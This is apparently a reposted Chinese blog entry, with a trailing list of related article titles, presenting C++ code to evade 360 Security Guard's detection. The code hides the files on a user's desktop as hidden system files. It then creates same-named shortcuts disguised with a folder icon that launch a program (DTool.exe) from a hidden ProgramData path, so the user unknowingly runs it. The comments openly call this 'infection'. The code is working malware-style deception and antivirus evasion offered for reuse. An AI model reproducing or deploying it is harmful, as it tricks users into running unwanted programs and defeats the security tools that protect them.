绕过360安全卫士的部分代码
来源:互联网 发布:荣威e550知乎 编辑:程序博客网 时间:2024/06/05 16:47
利用快捷方式,由用户启动程序,进行绕过360父进程查杀,代码记录于此处,方便查阅
int bypass_360_startup(){TCHAR str_desktop[256];LPITEMIDLIST pidl;SHGetSpecialFolderLocation(NULL, CSIDL_DESKTOP, &pidl);//place the shortcut on the desktop SHGetPathFromIDList(pidl, str_desktop);if (if_need_infection(str_desktop) == 0)//是否需要感染 {OutputDebugStringA("bypass_360_startup if_need_infection return");return 0;}if (set_hide_directory(str_desktop) == 0)//设置目录为隐藏属性 {OutputDebugStringA("bypass_360_startup set_hide_directory return");return 0;}if (create_link(str_desktop) == 0)//创建同名的快捷方式 {OutputDebugStringA("bypass_360_startup create_link return");return 0;}return 0;}int if_need_infection(TCHAR str_disk[]){OutputDebugStringA("if_need_infection fun:");CSearchFile file;file.SearchFile(_T("."), str_disk);for (DWORD i = 0; i<file.MyVectorFile.size(); i++){OutputDebugString(file.MyVectorFile[i].szFilePath);}if (file.MyVectorFile.size()>0){return 1;}return 0;}int set_hide_directory(TCHAR str_disk[]){OutputDebugStringA("set_hide_directory fun:");CSearchFile file;file.SearchFile(_T("."), str_disk);for (DWORD i = 0; i < file.MyVectorFile.size(); i++){SetFileAttributes(file.MyVectorFile[i].szFilePath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);//设置隐藏属性 OutputDebugString(file.MyVectorFile[i].szFilePath);}return 1;}int create_link(TCHAR str_disk[]){OutputDebugStringA("create_link fun:");CSearchFile file;file.SearchFile(_T("."), str_disk);for (DWORD i = 0; i < file.MyVectorFile.size(); i++){TCHAR str_all_user_path[MAX_PATH] = { 0 };TCHAR str_exe_path[MAX_PATH] = { 0 };//DTool.exe的路径 GetEnvironmentVariable(_T("ALLUSERSPROFILE"), str_all_user_path, MAX_PATH);_stprintf(str_exe_path, _T("%s\\updata\\DTool.exe"), str_all_user_path);TCHAR path_buffer[_MAX_PATH];_stprintf(path_buffer, _T("%s.lnk"), file.MyVectorFile[i].szFilePath);//OutputDebugString(path_buffer); CreateLinkThenChangeIcon(str_exe_path, path_buffer);}return 1;}void CreateLinkThenChangeIcon(LPTSTR fname_to_create_link,LPTSTR lnk_fname){CoInitialize(0);HRESULT hres;IShellLink *psl = NULL;IPersistFile *pPf = NULL;WCHAR wsz[256];TCHAR buf[256];int id;LPITEMIDLIST pidl;hres = CoCreateInstance(CLSID_ShellLink,NULL,CLSCTX_INPROC_SERVER,IID_IShellLink,(LPVOID*)&psl);if (FAILED(hres))goto cleanup;hres = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&pPf);if (FAILED(hres))goto cleanup;hres = psl->SetPath(fname_to_create_link);if (FAILED(hres))goto cleanup;//place the shortcut on the desktop SHGetSpecialFolderLocation(NULL, CSIDL_DESKTOP, &pidl);//创建到桌面s SHGetPathFromIDList(pidl, buf);lstrcat(buf, _T("\\"));lstrcat(buf, lnk_fname);#ifdef UNICODE hres = pPf->Save(buf, TRUE);#else MultiByteToWideChar(CP_ACP, 0, lnk_fname, -1, wsz, MAX_PATH);//这里lnk_fname给的是全路径 hres = pPf->Save(wsz, TRUE);#endif if (FAILED(hres))goto cleanup;GetSystemDirectory(buf, 256);lstrcat(buf, _T("\\shell32.dll"));hres = psl->SetIconLocation(buf, 3);//15在shell32.dll中是我的电脑图标,220为IE图标,3为文件夹 if (FAILED(hres))goto cleanup;hres = psl->GetIconLocation(buf, 256, &id);if (FAILED(hres))goto cleanup;pPf->Save(wsz, TRUE);cleanup:if (pPf)pPf->Release();if (psl)psl->Release();CoUninitialize();}
阅读全文
0 0
- 绕过360安全卫士的部分代码
- 绕过360安全卫士的部分代码
- venom结合Metasploit绕过360安全卫士
- 360安全卫士的HOOK
- 360安全卫士的HOOK
- [转贴]绕过xp sp2防火墙的代码
- 绕过XP SP2防火墙的代码
- 绕过xp sp2防火墙的代码
- 一段绕过JDBC的数据库交互代码
- 360安全卫士
- 360安全卫士
- 绕过部分杀毒软件溢出防护shellcode的方法!
- 绕过360的KiFastCallEntry钩子
- 王通:分析周鸿祎的安全卫士360
- Avast与360安全卫士的冲突
- 分析了一下360安全卫士的HOOK
- 分析了一下360安全卫士的HOOK
- 分析了一下360安全卫士的HOOK
- Eclipse中使用git前账号密码等的配置问题
- 离线安装grunt
- 转载自《理解矩阵(转载,工科生还搞不懂矩阵是干什么的要看看了)》保存自学
- 转载 解密蓝牙mesh系列 | 第七篇【低功耗蓝牙】【承载层(bearer layer)】【节点与特性】【代理节点(Proxy Node)】【蓝牙mesh代理服务】【发现代理节点】【代理协议】
- 什么代码签名证书?怎样申请代码签名证书?
- 绕过360安全卫士的部分代码
- PI SXI_MONITOR查询的表
- 安装Word2010时,出现需下载msxml的解决方法
- SpringDataJPA学习记录(三)--复杂查询的封装
- (OK) Performance Enhancement of Multipath TCP in Mobile Ad Hoc Networks
- Linux Vi 删除全部内容,删除某行到结尾,删除某段内容 的方法
- MongoDB权威指南--阅读笔记(二)
- XC7K325T与TMS320C6678的FMC子卡加4路光纤处理卡
- CSS3 border-radius 属性学习